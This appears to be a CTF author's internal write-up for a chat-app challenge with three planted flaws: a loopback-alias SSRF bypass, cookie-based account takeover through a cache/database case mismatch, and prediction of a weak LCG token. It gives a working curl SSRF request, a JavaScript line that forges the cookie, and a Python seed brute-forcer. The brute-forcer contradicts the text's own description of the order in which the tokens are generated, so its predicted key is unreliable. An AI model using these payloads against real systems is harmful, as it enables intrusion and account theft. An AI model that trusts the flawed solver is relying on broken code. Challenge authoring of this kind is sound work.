> **CONFIDENTIAL FOR DEFCON PEOPLE ONLY

Flagstore	Difficulty	Module / Feature	Vulnerability Type
Flag 0	⭐ Easy	Channel Topic	Webhook / OpenGraph URL Unfurl SSRF (Loopback Bypass)
Flag 1	⭐⭐ Medium	Direct Messages (DMs)	Cache vs. Database Case-Sensitivity Discrepancy
Flag 2	⭐⭐⭐ Hard	Account Recovery Key	Truncated PRNG Seed Entropy & Token Prediction

---

Flag 0

Architecture & Root Cause

In `service/app/unfurl.py`, PulseChat provides an OpenGraph link metadata inspector allowing users to preview external URLs before sharing:

```
BLOCKED_HOSTS = {"localhost", "127.0.0.1", "0.0.0.0"}

def is_safe_url(url: str) -> bool:
    parsed = urllib.parse.urlparse(url)
    hostname = (parsed.hostname or "").lower()
    if hostname in BLOCKED_HOSTS:
        return False
    return True
```

- **The Flaw:** The filter relies on a naive string blacklist. On Linux systems, the entire `127.0.0.0/8` block routes to loopback. While `127.0.0.1` and `localhost` are blocked, aliases like `127.0.0.2`, `127.1`, or decimal IP representation `2130706433` bypass the check completely.
- **The Internal Target:** `GET /api/internal/channels/{channel_id}/topic` returns raw channel topic data without enforcing member authentication.

Flag 1

- In `service/app/database.py`, SQLite stores usernames with case-insensitive collation:

  ```
  username TEXT UNIQUE NOT NULL COLLATE NOCASE
  ```

In SQLite, `'mradu1'`, `'MRADU1'`, and `'Mradu1'` all resolve to the same user record (`id = 1`).

- In `service/app/cache.py`, the in-memory fast user cache uses a standard Python dictionary:

```
self.user_cache: Dict[str, Dict[str, Any]] = {}
```

Python dictionary lookups are **case-sensitive** (`"mradu1" != "MRADU1"`).

- In `service/app/main.py`, `get_current_user` validates session cookies and uses the fast cache:

```
def get_current_user(request: Request):
    user_id = request.cookies.get("user_id")
    sig = request.cookies.get("session_sig")
    if not user_id or not sig or not verify_session(user_id, sig):
        return None
    username = request.cookies.get("username")
    if username:
        cached = router.get_or_load_user(username)
        if cached:
            return cached
    return get_user_by_id(int(user_id))
```

Flag 2

In `service/app/prng.py`, PulseChat generates server invite codes and account security recovery keys using a Linear Congruential Generator (LCG):

```
LCG_MULTIPLIER = 1103515245
LCG_INCREMENT = 12345
LCG_MODULUS = 2**31

class TokenGenerator:
    def __init__(self, seed: int | None = None):
        if seed is None:
            self.state = int(time.time() * 1000) & 0x0FFF
        else:
            self.state = seed & 0x0FFF
```

- **The Flaw:** The bitmask `& 0x0FFF` restricts the initial state to **4,096 possible integer seeds (0 to 4095)**.
- When `mradu1`'s account is created, the checker sets `recovery_key = "rec_<16 chars>"` and immediately generates a public guild invite code (8 chars) on the same

server.

- Because both tokens are derived from the 4,096-state LCG, observing the public invite code allows an attacker to brute-force the seed in milliseconds and predict the private recovery key.

Scenario: mradu1 (Victim) vs mradu2 (Attacker)

- Step A: create two users mradu1 and mradu2 then create a server name let's say Alpha Squad (slug: alpha-squal, ID: 1) from mradu1 account.
- Flag 0: Create a private channel let's say name `#briefing` (channel id = 1 or 2) and make it private with topic as the flag. (checker will mark this flag but for my testing checker is not running so i manually added the falg)
- Flag 1: create another agent_bob (this willl be a checker but again we are doing it manually for testing purposes) and dm mradu1 the flag. now mradu2 wants to knwo the flag.
- Flag 2: Stored in the account's security recovery key.

How mradu2 will exploit flag 0

Method A: Via Browser UI

1. In the top-right header of PulseChat, click the **URL Metadata Inspector** (i will remove this later on and players can do this by inspecting) icon (link/compass icon).
2. In the modal, enter the internal diagnostic endpoint using loopback IP `127.0.0.2`:
   ```
   http://127.0.0.2:8001/api/internal/channels/1/topic
   ```
3. Click **"Inspect & Fetch Preview"**.
4. The backend server connects to itself, bypasses the blacklist, queries the internal endpoint, and renders the result card:
   - **Title:** `briefing`
   - **Description:** `ENO{FLAG0_CHANNEL_BRIEFING}`
   - **URL:** `http://127.0.0.2:8001/api/internal/channels/1/topic`
5. Flag 0 is rendered directly inside the modal!

Method B: Via CLI / `curl`

```
curl -s -X POST "http://<target-ip>:8001/api/preview" \
     -d "url=http://127.0.0.2:8001/api/internal/channels/1/topic" \
     -b "user_id=2; session_sig=<sig>"
```

Response:

```
{
  "title": "briefing",
  "description": "ENO{FLAG0_CHANNEL_BRIEFING}",
  "status_code": 200
}
```

How mradu2 exploits flag 1

1. In your browser, log in to PulseChat as `mradu2` (`http://<target-ip>:8001/`).
2. Press `F12` (or right-click → **Inspect**) and open the **Console** tab.
3. Run the following command to override your session username cookie with the uppercase variant of the victim:

   ```
   document.cookie = "username=MRADU1; path=/"; location.reload();
   ```

now you are logged in to mradu1's account

There is a curl method for this as well.

How mradu2 exploits flag 2

since there are only 4096 cases of recovery key he will brute force to find the secret key for the coding algorithm and then use that key to create a recovery key for the mradu1's account and can simply login.
below is the script to do that:

```
import string

ALPHANUMERIC = string.ascii_letters + string.digits
LCG_MULTIPLIER = 1103515245
LCG_INCREMENT = 12345
LCG_MODULUS = 2**31

class TokenGenerator:
    def __init__(self, seed: int):
        self.state = seed & 0x0FFF
    def next_int(self):
        self.state = (self.state * LCG_MULTIPLIER + LCG_INCREMENT) %
LCG_MODULUS
        return self.state
    def generate_token(self, length=12):
        return "".join(ALPHANUMERIC[self.next_int() % len(ALPHANUMERIC)] for
_ in range(length))
```

```python
observed_invite_code = "yTalSjEX"

# Crack the seed:
for seed in range(4096):
    gen = TokenGenerator(seed=seed)
    if gen.generate_token(8) == observed_invite_code:
        # State matched! Predict recovery key from the same generator state:
        predicted_recovery_key =
f"rec_{TokenGenerator(seed=seed).generate_token(16)}"
        print(f"[+] Found Seed: {seed}")
        print(f"[+] Predicted Recovery Key: {predicted_recovery_key}")
        break
```
